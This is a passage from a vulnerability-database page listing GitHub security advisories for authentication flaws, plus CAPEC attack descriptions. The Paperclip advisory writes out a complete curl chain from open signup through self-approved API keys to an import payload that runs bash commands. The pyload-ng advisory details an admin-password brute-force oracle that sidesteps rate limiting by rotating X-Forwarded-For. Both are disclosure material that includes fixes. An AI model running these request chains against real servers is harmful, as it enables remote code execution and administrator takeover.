An unauthenticated remote attacker can execute arbitrary commands as the Paperclip server's OS user on any authenticated mode deployment with default configuration. This gives them:

  • Full filesystem access (read/write as the server user)
  • Access to all data in the Paperclip database
  • Ability to pivot to internal network services
  • Ability to disrupt all agent operations

The attack is fully automated, requires no user interaction, and works against the default deployment configuration.

Suggested Fixes

Critical: Unauthorized board access (the root cause)

The import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can:

  • Read adapter configurations and internal API structure
  • Approve/reject/request-revision on any company's approvals (these endpoints only check assertBoard, not assertCompanyAccess)
  • Cancel any company's agent runs (same missing check)
  • Read issue data from any heartbeat run (zero auth on GET /api/heartbeat-runs/:runId/issues)
  • Create unlimited accounts for resource exhaustion
  • Wait for the next authorization bug to appear

These need to be fixed together:

  1. Disable open registration by default -- server/src/config.ts:172, change ?? false to ?? true. Document PAPERCLIP_AUTH_DISABLE_SIGN_UP in the deployment guide. Any deployment that wants open signup can opt in explicitly.

  2. Prevent CLI auth self-approval -- server/src/routes/access.ts, around line 1700. Reject when the approving user is the same user who created the challenge. Right now anyone with a session can generate their own persistent API key.

  3. Require email verification -- server/src/auth/better-auth.ts:91, set requireEmailVerification: true. At minimum this stops throwaway accounts.

Critical: Import authorization bypass (the RCE path)

  1. Add assertInstanceAdmin to the import endpoint for new_company mode -- server/src/routes/companies.ts, lines 161-176. The direct POST / creation endpoint already has this check. The import endpoint doesn't. Apply the same check to both POST /import and POST /import/preview:
assertBoard(req);
if (req.body.target.mode === "new_company") {
  if (!(req.actor.source === "local_implicit" || req.actor.isInstanceAdmin)) {
    throw forbidden("Instance admin required");
  }
} else {
  assertCompanyAccess(req, req.body.target.companyId);
}
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "paperclipai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.410.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@paperclipai/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.410.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41679"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1188",
      "CWE-287",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T21:08:57Z",
    "nvd_published_at": "2026-04-23T02:16:19Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nAn unauthenticated attacker can achieve full remote code execution on any network-accessible Paperclip instance running in `authenticated` mode with default configuration. No user interaction, no credentials, just the target\u0027s address. The entire chain is six API calls.\n\nI verified every step against the latest version. I have a fully automated PoC script and a video recording available.\n\nDiscord: sagi03581\n\n## Steps to Reproduce\n\nThe attack chains four independent flaws to escalate from zero access to RCE:\n\n### Step 1: Create an account (no invite, no email verification)\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"email\":\"attacker@evil.com\",\"password\":\"P@ssw0rd123\",\"name\":\"attacker\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/auth/sign-up/email\n```\n\nReturns a valid account immediately. No invite token required, no email verification.\n\nThis works because `PAPERCLIP_AUTH_DISABLE_SIGN_UP` defaults to `false` in `server/src/config.ts:169-173`:\n\n```typescript\nconst authDisableSignUp: boolean =\n  disableSignUpFromEnv !== undefined\n    ? disableSignUpFromEnv === \"true\"\n    : (fileConfig?.auth?.disableSignUp ?? false);   // default: open\n```\n\nAnd email verification is hardcoded off in `server/src/auth/better-auth.ts:89-93`:\n\n```typescript\nemailAndPassword: {\n  enabled: true,\n  requireEmailVerification: false,\n  disableSignUp: config.authDisableSignUp,\n},\n```\n\nThe environment variable isn\u0027t documented in the deployment guide, so operators don\u0027t know it exists.\n\n### Step 2: Sign in\n\n```bash\ncurl -s -v -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"email\":\"attacker@evil.com\",\"password\":\"P@ssw0rd123\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/auth/sign-in/email\n```\n\nCapture the session cookie from the `Set-Cookie` header.\n\n### Step 3: Create a CLI auth challenge and self-approve it\n\nCreate the challenge (no authentication required at all):\n\n```bash\ncurl -s -X POST -H \"Content-Type: application/json\" \\\n  -d \u0027{\"command\":\"test\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/cli-auth/challenges\n```\n\nThe response includes a `token` and a `boardApiToken`. The handler at `server/src/routes/access.ts:1638-1659` has no actor check -- anyone can create a challenge.\n\nNow approve it with our own session:\n\n```bash\ncurl -s -X POST \\\n  -H \"Cookie: \u003csession-cookie\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3100\" \\\n  -d \u0027{\"token\":\"\u003ctoken-from-above\u003e\"}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/cli-auth/challenges/\u003cid\u003e/approve\n```\n\nThe approval handler at `server/src/routes/access.ts:1687-1704` checks that the caller is a board user but does not check whether the approver is the same person who created the challenge:\n\n```typescript\nif (req.actor.type !== \"board\" || (!req.actor.userId \u0026\u0026 !isLocalImplicit(req))) {\n  throw unauthorized(\"Sign in before approving CLI access\");\n}\n// no check that approver !== creator\nconst userId = req.actor.userId ?? \"local-board\";\nconst approved = await boardAuth.approveCliAuthChallenge(id, req.body.token, userId);\n```\n\nThe `boardApiToken` from step 3 is now a persistent API key tied to our account.\n\n### Step 4: Create a company and deploy an agent via import (authorization bypass)\n\nThis is the critical flaw. The direct company creation endpoint correctly requires instance admin:\n\n`server/src/routes/companies.ts:260-264`:\n```typescript\nrouter.post(\"/\", validate(createCompanySchema), async (req, res) =\u003e {\n  assertBoard(req);\n  if (!(req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin)) {\n    throw forbidden(\"Instance admin required\");\n  }\n});\n```\n\nBut the import endpoint does not:\n\n`server/src/routes/companies.ts:170-176`:\n```typescript\nrouter.post(\"/import\", validate(companyPortabilityImportSchema), async (req, res) =\u003e {\n  assertBoard(req);                                     // only checks board type\n  if (req.body.target.mode === \"existing_company\") {\n    assertCompanyAccess(req, req.body.target.companyId);  // only for existing\n  }\n  // NO assertInstanceAdmin for \"new_company\" mode\n  const result = await portability.importBundle(req.body, ...);\n});\n```\n\n`assertInstanceAdmin` isn\u0027t even imported in `companies.ts` (line 27 only imports `assertBoard`, `assertCompanyAccess`, `getActorInfo`), while it is imported and used in other route files like `agents.ts`.\n\nThe import also accepts a `.paperclip.yaml` in the bundle that specifies agent adapter configuration. The `process` adapter takes a `command` and `args` and calls `spawn()` directly with zero sandboxing. The import service passes the full `adapterConfig` through without validation (`server/src/services/company-portability.ts:3955-3981`).\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer \u003cboard-api-key\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3100\" \\\n  -d \u0027{\n    \"source\": {\"type\": \"inline\", \"files\": {\n      \"COMPANY.md\": \"---\\nname: attacker-corp\\nslug: attacker-corp\\n---\\nx\",\n      \"agents/pwn/AGENTS.md\": \"---\\nkind: agent\\nname: pwn\\nslug: pwn\\nrole: engineer\\n---\\nx\",\n      \".paperclip.yaml\": \"agents:\\n  pwn:\\n    icon: terminal\\n    adapter:\\n      type: process\\n      config:\\n        command: bash\\n        args:\\n          - -c\\n          - id \u003e /tmp/pwned.txt \u0026\u0026 whoami \u003e\u003e /tmp/pwned.txt\"\n    }},\n    \"target\": {\"mode\": \"new_company\", \"newCompanyName\": \"attacker-corp\"},\n    \"include\": {\"company\": true, \"agents\": true},\n    \"agents\": \"all\"\n  }\u0027 \\\n  http://\u003ctarget\u003e:3100/api/companies/import\n```\n\nReturns the new company ID and agent ID. The attacker now owns a company with a process adapter agent configured to run arbitrary commands.\n\n### Step 5: Trigger the agent\n\n```bash\ncurl -s -X POST -H \"Authorization: Bearer \u003cboard-api-key\u003e\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3100\" \\\n  -d \u0027{}\u0027 \\\n  http://\u003ctarget\u003e:3100/api/agents/\u003cagent-id\u003e/wakeup\n```\n\nThe wakeup handler at `server/src/routes/agents.ts:2073-2085` only checks `assertCompanyAccess`, which passes because the attacker created the company. Paperclip spawns `bash -c \"id \u003e /tmp/pwned.txt \u0026\u0026 ...\"` as the server\u0027s OS user.\n\n### Proof of Concept\n\nI have a self-contained bash script that runs the full chain automatically:\n\n```\n./poc_exploit.sh http://\u003ctarget\u003e:3100\n```\n\nIt creates a random test account, self-approves a CLI key, imports a company with a process adapter agent, triggers it, and checks for a marker file to confirm execution. Runs in under 30 seconds.\n\n## Impact\n\nAn unauthenticated remote attacker can execute arbitrary commands as the Paperclip server\u0027s OS user on any `authenticated` mode deployment with default configuration. This gives them:\n\n- Full filesystem access (read/write as the server user)\n- Access to all data in the Paperclip database\n- Ability to pivot to internal network services\n- Ability to disrupt all agent operations\n\nThe attack is fully automated, requires no user interaction, and works against the default deployment configuration.\n\n## Suggested Fixes\n\n### Critical: Unauthorized board access (the root cause)\n\nThe import bypass is how I got RCE today, but the real problem is that anyone can go from unauthenticated to a fully persistent board user through open signup + self-approve. Even if you fix the import endpoint, the attacker still has a board API key and can:\n\n- Read adapter configurations and internal API structure\n- Approve/reject/request-revision on any company\u0027s approvals (these endpoints only check `assertBoard`, not `assertCompanyAccess`)\n- Cancel any company\u0027s agent runs (same missing check)\n- Read issue data from any heartbeat run (zero auth on `GET /api/heartbeat-runs/:runId/issues`)\n- Create unlimited accounts for resource exhaustion\n- Wait for the next authorization bug to appear\n\n**These need to be fixed together:**\n\n1. **Disable open registration by default** -- `server/src/config.ts:172`, change `?? false` to `?? true`. Document `PAPERCLIP_AUTH_DISABLE_SIGN_UP` in the deployment guide. Any deployment that wants open signup can opt in explicitly.\n\n2. **Prevent CLI auth self-approval** -- `server/src/routes/access.ts`, around line 1700. Reject when the approving user is the same user who created the challenge. Right now anyone with a session can generate their own persistent API key.\n\n3. **Require email verification** -- `server/src/auth/better-auth.ts:91`, set `requireEmailVerification: true`. At minimum this stops throwaway accounts.\n\n### Critical: Import authorization bypass (the RCE path)\n\n4. **Add `assertInstanceAdmin` to the import endpoint for `new_company` mode** -- `server/src/routes/companies.ts`, lines 161-176. The direct `POST /` creation endpoint already has this check. The import endpoint doesn\u0027t. Apply the same check to both `POST /import` and `POST /import/preview`:\n\n```typescript\nassertBoard(req);\nif (req.body.target.mode === \"new_company\") {\n  if (!(req.actor.source === \"local_implicit\" || req.actor.isInstanceAdmin)) {\n    throw forbidden(\"Instance admin required\");\n  }\n} else {\n  assertCompanyAccess(req, req.body.target.companyId);\n}\n```",
  "id": "GHSA-68qg-g8mg-6pr7",
  "modified": "2026-04-27T16:19:04Z",
  "published": "2026-04-10T21:08:57Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-68qg-g8mg-6pr7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41679"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/paperclipai/paperclip"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "paperclip Vulnerable to Unauthenticated Remote Code Execution via Import Authorization Bypass"
}

GHSA-68VR-5376-M4R9

Vulnerability from github – Published: 2022-05-01 18:42 – Updated: 2022-05-01 18:42
VLAI
Details

The proxy server in Kerio WinRoute Firewall before 6.4.1 does not properly enforce authentication for HTTPS pages, which has unknown impact and attack vectors. NOTE: it is not clear whether this issue crosses privilege boundaries.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2007-6385"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2007-12-15T02:46:00Z",
    "severity": "LOW"
  },
  "details": "The proxy server in Kerio WinRoute Firewall before 6.4.1 does not properly enforce authentication for HTTPS pages, which has unknown impact and attack vectors.  NOTE: it is not clear whether this issue crosses privilege boundaries.",
  "id": "GHSA-68vr-5376-m4r9",
  "modified": "2022-05-01T18:42:25Z",
  "published": "2022-05-01T18:42:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2007-6385"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/39020"
    },
    {
      "type": "WEB",
      "url": "http://osvdb.org/42122"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/28072"
    },
    {
      "type": "WEB",
      "url": "http://www.kerio.com/kwf_history.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/26851"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1019095"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2007/4212"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-68W4-83FH-F2W8

Vulnerability from github – Published: 2026-10-09 17:09 – Updated: 2026-10-09 17:09
VLAI
Summary
pyload-ng: getUserData/get_userdata exposed at Perms.ANY allow any authenticated account to brute-force the administrator password
Details

Summary

Api.getUserData (legacy) and Api.get_userdata are declared with @permission(Perms.ANY) and are reachable at /api/getUserData and /api/get_userdata. Because Perms.ANY == 0 and pyLoad's permission check is a bitmask AND, that gate is a no-op: every authenticated account passes, including one holding zero permission bits.

Both methods are thin wrappers around check_auth(), which the maintainers deliberately restricted to administrators by omitting @permission (no entry in perm_map, so is_authorized() returns False for non-admins). The wrappers undo that protection.

An attacker holding the lowest-privileged account in the system therefore has a clean binary oracle on the administrator password, with no account lockout anywhere in the codebase, and with the 100 req/min rate limiter bypassable by rotating X-Forwarded-For.

Affected code

src/pyload/core/api/__init__.py:1446 and :1464

    #: Old API
    @permission(Perms.ANY)
    @get
    def getUserData(self, username: str, password: str) -> OldUserData:
        """
        similar to `check_auth` but returns UserData type.
        """
        user = self.check_auth(username, password)
        ...

    @permission(Perms.ANY)
    @get
    def get_userdata(self, username: str, password: str) -> UserData:
        user = self.check_auth(username, password)
        ...

Root cause

src/pyload/core/api/__init__.py:57

class Perms(IntFlag):
    ANY = 0  #: requires no permission, but login

src/pyload/core/api/__init__.py:108

def has_permission(user_perms: Perms, required_perms: Perms):
    return required_perms == (user_perms & required_perms)

For required_perms == 0 this evaluates to 0 == (user_perms & 0) → 0 == 0 → always True. The @permission(Perms.ANY) gate therefore admits every authenticated principal regardless of which permission bits they hold.

Contrast with the intended admin-only primitive, src/pyload/core/api/__init__.py:1396:

    @legacy("checkAuth")
    @get
    def check_auth(self, username: str, password: str) -> dict[str, Any]:

check_auth has no @permission; is_authorized() at api/__init__.py:1430 returns False for non-admins. The two wrappers carry Perms.ANY and restore access for everyone.

Because both wrappers also carry @get, they are placed in method_map and are directly routable via /api/<func>.

Amplifiers

1. No lockout. There is no failed-login counter, delay, or ban anywhere in the codebase. A failed guess costs the attacker only one PBKDF2 computation.

2. Rate limiting is bypassable. /api/* applies rate_limit(count=100, period=60) (src/pyload/webui/app/blueprints/api_blueprint.py:25), which buckets on a fully client-controlled header (src/pyload/webui/app/helpers.py:446):

client_ip = flask.request.headers.get("X-Forwarded-For", "").split(",")[0].strip() \
    or flask.request.remote_addr

Rotating X-Forwarded-For per request yields a fresh bucket each time. Notably, is_loopback_request() in the same file (helpers.py:288-294) explicitly treats the presence of X-Forwarded-For / X-Real-IP / Forwarded as untrustworthy — the same guard was evidently not applied inside rate_limit().

Impact

Online brute force of the administrator account leading to full administrative takeover. A successful response additionally discloses the target account's id, name, email, role, and permission bits.

Proof of concept

Verified against 0.5.0b3, commit a5b008958.

Setup: stock instance with admin pyload, plus a non-admin user bob created with role=USER and permission=0.

Step 1 — establish that bob is genuinely unprivileged:

GET /api/checkAuth?username=pyload&password=pyload   ->  401 {"error": "Access denied"}
GET /api/getAllUserData                              ->  401 {"error": "Access denied"}

Step 2 — the flaw. Same user, same session, Perms.ANY gate:

GET /api/getUserData?username=pyload&password=WRONG
  -> 200 {"name": null, "email": null, "role": null, "permission": null, "template_name": null}

GET /api/getUserData?username=pyload&password=pyload
  -> 200 {"name": "pyload", "email": "", "role": 0, "permission": 0, "template_name": "default"}

role: 0 is Role.ADMIN. get_userdata behaves identically. This is a perfect yes/no oracle.

Step 3 — measured brute force and recovery. Run as bob (permission = 0), admin password set to a 2-character value, X-Forwarded-For rotated on every request:

attempts         : 667
elapsed          : 39.7s   (16.8 guesses/sec)
429 rate-limits  : 0
account lockout  : NONE - same session authenticated throughout
RECOVERED SECRET : 'zq'   (true value 'zq')   match=True

Step 4 — full takeover with the recovered secret:

POST /login as pyload/<recovered>       ->  HTTP 302  (authenticated as admin)
GET  /api/getAllUserData (admin-only)  ->  HTTP 200  (full user dump)

Measured throughput is 17-47 guesses/sec/thread. The only bound is PBKDF2-HMAC-SHA256 at 100,000 iterations in src/pyload/core/database/user_database.py:14, not any rate limit.

Suggested remediation

  • Remove @permission(Perms.ANY) from getUserData and get_userdata, or drop them entirely — they are legacy compatibility shims, and modern callers already use the admin-only check_auth.
  • Structurally: Perms.ANY = 0 makes has_permission() vacuous, so any method decorated @permission(Perms.ANY) silently becomes public to every logged-in user. Give ANY a real bit value, or handle it explicitly in has_permission() as "requires an authenticated session".
  • Do not trust X-Forwarded-For unless a trusted-proxy deployment is explicitly configured. Otherwise bucket rate_limit() on request.remote_addr, or add the same guard is_loopback_request() already uses.
  • Add per-account failed-authentication throttling or lockout.
  • Consider hmac.compare_digest() in _check_password() (src/pyload/core/database/user_database.py:61 uses a plain == on the derived hash, contradicting the "always use compare_digest" guidance two files away).

Notes for triage

There is no 0.5.0b3 release on PyPI. The develop branch auto-publishes dev builds (setup.py:86 appends .dev<build> to the VERSION file); the newest at time of testing was 0.5.0b3.dev101. The Perms.ANY = 0 design is long-standing, but only the 0.5.0b3.dev* line was verified here — please confirm whether 0.5.0b2.* and 0.4.x are affected before finalizing the version range.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.5.0b3.dev1"
            },
            {
              "last_affected": "0.5.0b3.dev101"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-09T17:09:15Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\n`Api.getUserData` (legacy) and `Api.get_userdata` are declared with `@permission(Perms.ANY)` and are reachable at `/api/getUserData` and `/api/get_userdata`. Because `Perms.ANY == 0` and pyLoad\u0027s permission check is a bitmask AND, that gate is a no-op: **every authenticated account passes, including one holding zero permission bits.**\n\nBoth methods are thin wrappers around `check_auth()`, which the maintainers deliberately restricted to administrators by omitting `@permission` (no entry in `perm_map`, so `is_authorized()` returns `False` for non-admins). The wrappers undo that protection.\n\nAn attacker holding the lowest-privileged account in the system therefore has a clean binary oracle on the **administrator password**, with no account lockout anywhere in the codebase, and with the 100 req/min rate limiter bypassable by rotating `X-Forwarded-For`.\n\n## Affected code\n\n`src/pyload/core/api/__init__.py:1446` and `:1464`\n\n```python\n    #: Old API\n    @permission(Perms.ANY)\n    @get\n    def getUserData(self, username: str, password: str) -\u003e OldUserData:\n        \"\"\"\n        similar to `check_auth` but returns UserData type.\n        \"\"\"\n        user = self.check_auth(username, password)\n        ...\n\n    @permission(Perms.ANY)\n    @get\n    def get_userdata(self, username: str, password: str) -\u003e UserData:\n        user = self.check_auth(username, password)\n        ...\n```\n\n## Root cause\n\n`src/pyload/core/api/__init__.py:57`\n\n```python\nclass Perms(IntFlag):\n    ANY = 0  #: requires no permission, but login\n```\n\n`src/pyload/core/api/__init__.py:108`\n\n```python\ndef has_permission(user_perms: Perms, required_perms: Perms):\n    return required_perms == (user_perms \u0026 required_perms)\n```\n\nFor `required_perms == 0` this evaluates to `0 == (user_perms \u0026 0)` \u2192 `0 == 0` \u2192 **always `True`**. The `@permission(Perms.ANY)` gate therefore admits every authenticated principal regardless of which permission bits they hold.\n\nContrast with the intended admin-only primitive, `src/pyload/core/api/__init__.py:1396`:\n\n```python\n    @legacy(\"checkAuth\")\n    @get\n    def check_auth(self, username: str, password: str) -\u003e dict[str, Any]:\n```\n\n`check_auth` has **no** `@permission`; `is_authorized()` at `api/__init__.py:1430` returns `False` for non-admins. The two wrappers carry `Perms.ANY` and restore access for everyone.\n\nBecause both wrappers also carry `@get`, they are placed in `method_map` and are directly routable via `/api/\u003cfunc\u003e`.\n\n## Amplifiers\n\n**1. No lockout.** There is no failed-login counter, delay, or ban anywhere in the codebase. A failed guess costs the attacker only one PBKDF2 computation.\n\n**2. Rate limiting is bypassable.** `/api/*` applies `rate_limit(count=100, period=60)` (`src/pyload/webui/app/blueprints/api_blueprint.py:25`), which buckets on a fully client-controlled header (`src/pyload/webui/app/helpers.py:446`):\n\n```python\nclient_ip = flask.request.headers.get(\"X-Forwarded-For\", \"\").split(\",\")[0].strip() \\\n    or flask.request.remote_addr\n```\n\nRotating `X-Forwarded-For` per request yields a fresh bucket each time. Notably, `is_loopback_request()` in the **same file** (`helpers.py:288-294`) explicitly treats the presence of `X-Forwarded-For` / `X-Real-IP` / `Forwarded` as untrustworthy \u2014 the same guard was evidently not applied inside `rate_limit()`.\n\n## Impact\n\nOnline brute force of the administrator account leading to full administrative takeover. A successful response additionally discloses the target account\u0027s `id`, `name`, `email`, `role`, and `permission` bits.\n\n## Proof of concept\n\nVerified against 0.5.0b3, commit `a5b008958`.\n\nSetup: stock instance with admin `pyload`, plus a non-admin user `bob` created with `role=USER` and `permission=0`.\n\n**Step 1 \u2014 establish that `bob` is genuinely unprivileged:**\n\n```\nGET /api/checkAuth?username=pyload\u0026password=pyload   -\u003e  401 {\"error\": \"Access denied\"}\nGET /api/getAllUserData                              -\u003e  401 {\"error\": \"Access denied\"}\n```\n\n**Step 2 \u2014 the flaw. Same user, same session, `Perms.ANY` gate:**\n\n```\nGET /api/getUserData?username=pyload\u0026password=WRONG\n  -\u003e 200 {\"name\": null, \"email\": null, \"role\": null, \"permission\": null, \"template_name\": null}\n\nGET /api/getUserData?username=pyload\u0026password=pyload\n  -\u003e 200 {\"name\": \"pyload\", \"email\": \"\", \"role\": 0, \"permission\": 0, \"template_name\": \"default\"}\n```\n\n`role: 0` is `Role.ADMIN`. `get_userdata` behaves identically. This is a perfect yes/no oracle.\n\n**Step 3 \u2014 measured brute force and recovery.** Run as `bob` (`permission = 0`), admin password set to a 2-character value, `X-Forwarded-For` rotated on every request:\n\n```\nattempts         : 667\nelapsed          : 39.7s   (16.8 guesses/sec)\n429 rate-limits  : 0\naccount lockout  : NONE - same session authenticated throughout\nRECOVERED SECRET : \u0027zq\u0027   (true value \u0027zq\u0027)   match=True\n```\n\n**Step 4 \u2014 full takeover with the recovered secret:**\n\n```\nPOST /login as pyload/\u003crecovered\u003e       -\u003e  HTTP 302  (authenticated as admin)\nGET  /api/getAllUserData (admin-only)  -\u003e  HTTP 200  (full user dump)\n```\n\nMeasured throughput is 17-47 guesses/sec/thread. The only bound is PBKDF2-HMAC-SHA256 at 100,000 iterations in `src/pyload/core/database/user_database.py:14`, not any rate limit.\n\n## Suggested remediation\n\n- Remove `@permission(Perms.ANY)` from `getUserData` and `get_userdata`, or drop them entirely \u2014 they are legacy compatibility shims, and modern callers already use the admin-only `check_auth`.\n- Structurally: `Perms.ANY = 0` makes `has_permission()` vacuous, so **any** method decorated `@permission(Perms.ANY)` silently becomes public to every logged-in user. Give `ANY` a real bit value, or handle it explicitly in `has_permission()` as \"requires an authenticated session\".\n- Do not trust `X-Forwarded-For` unless a trusted-proxy deployment is explicitly configured. Otherwise bucket `rate_limit()` on `request.remote_addr`, or add the same guard `is_loopback_request()` already uses.\n- Add per-account failed-authentication throttling or lockout.\n- Consider `hmac.compare_digest()` in `_check_password()` (`src/pyload/core/database/user_database.py:61` uses a plain `==` on the derived hash, contradicting the \"always use compare_digest\" guidance two files away).\n\n## Notes for triage\n\nThere is no `0.5.0b3` release on PyPI. The `develop` branch auto-publishes dev builds (`setup.py:86` appends `.dev\u003cbuild\u003e` to the `VERSION` file); the newest at time of testing was `0.5.0b3.dev101`. The `Perms.ANY = 0` design is long-standing, but only the `0.5.0b3.dev*` line was verified here \u2014 please confirm whether `0.5.0b2.*` and `0.4.x` are affected before finalizing the version range.",
  "id": "GHSA-68w4-83fh-f2w8",
  "modified": "2026-10-09T17:09:15Z",
  "published": "2026-10-09T17:09:15Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-68w4-83fh-f2w8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/commit/b99d2a2f06135363ceb0aab16aac5025f138e658"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "pyload-ng: getUserData/get_userdata exposed at Perms.ANY allow any authenticated account to brute-force the administrator password"
}

Mitigation
Architecture and Design

Strategy: Libraries or Frameworks

Use an authentication framework or library such as the OWASP ESAPI Authentication feature.

CAPEC-114: Authentication Abuse

An attacker obtains unauthorized access to an application, service or device either through knowledge of the inherent weaknesses of an authentication mechanism, or by exploiting a flaw in the authentication scheme's implementation. In such an attack an authentication mechanism is functioning but a carefully controlled sequence of events causes the mechanism to grant access to the attacker.

CAPEC-115: Authentication Bypass

An attacker gains access to application, service, or device with the privileges of an authorized or privileged user by evading or circumventing an authentication mechanism. The attacker is therefore able to access protected data without authentication ever having taken place.

CAPEC-151: Identity Spoofing

Identity Spoofing refers to the action of assuming (i.e., taking on) the identity of some other entity (human or non-human) and then using that identity to accomplish a goal. An adversary may craft messages that appear to come from a different principle or use stolen / spoofed authentication credentials.

CAPEC-194: Fake the Source of Data

An adversary takes advantage of improper authentication to provide data or services under a falsified identity. The purpose of using the falsified identity may be to prevent traceability of the provided data or to assume the rights granted to another individual. One of the simplest forms of this attack would be the creation of an email message with a modified "From" field in order to appear that the message was sent from someone other than the actual sender. The root of the attack (in this case the email system) fails to properly authenticate the source and this results in the reader incorrectly performing the instructed action. Results of the attack vary depending on the details of the attack, but common results include privilege escalation, obfuscation of other attacks, and data corruption/manipulation.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-57: Utilizing REST's Trust in the System Resource to Obtain Sensitive Data

This attack utilizes a REST(REpresentational State Transfer)-style applications' trust in the system resources and environment to obtain sensitive data once SSL is terminated.

CAPEC-593: Session Hijacking

This type of attack involves an adversary that exploits weaknesses in an application's use of sessions in performing authentication. The adversary is able to steal or manipulate an active session and use it to gain unathorized access to the application.

CAPEC-633: Token Impersonation

An adversary exploits a weakness in authentication to create an access token (or equivalent) that impersonates a different entity, and then associates a process/thread to that that impersonated token. This action causes a downstream user to make a decision or take action that is based on the assumed identity, and not the response that blocks the adversary.

CAPEC-650: Upload a Web Shell to a Web Server

By exploiting insufficient permissions, it is possible to upload a web shell to a web server in such a way that it can be executed remotely. This shell can have various capabilities, thereby acting as a "gateway" to the underlying web server. The shell might execute at the higher permission level of the web server, providing the ability the execute malicious code at elevated levels.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.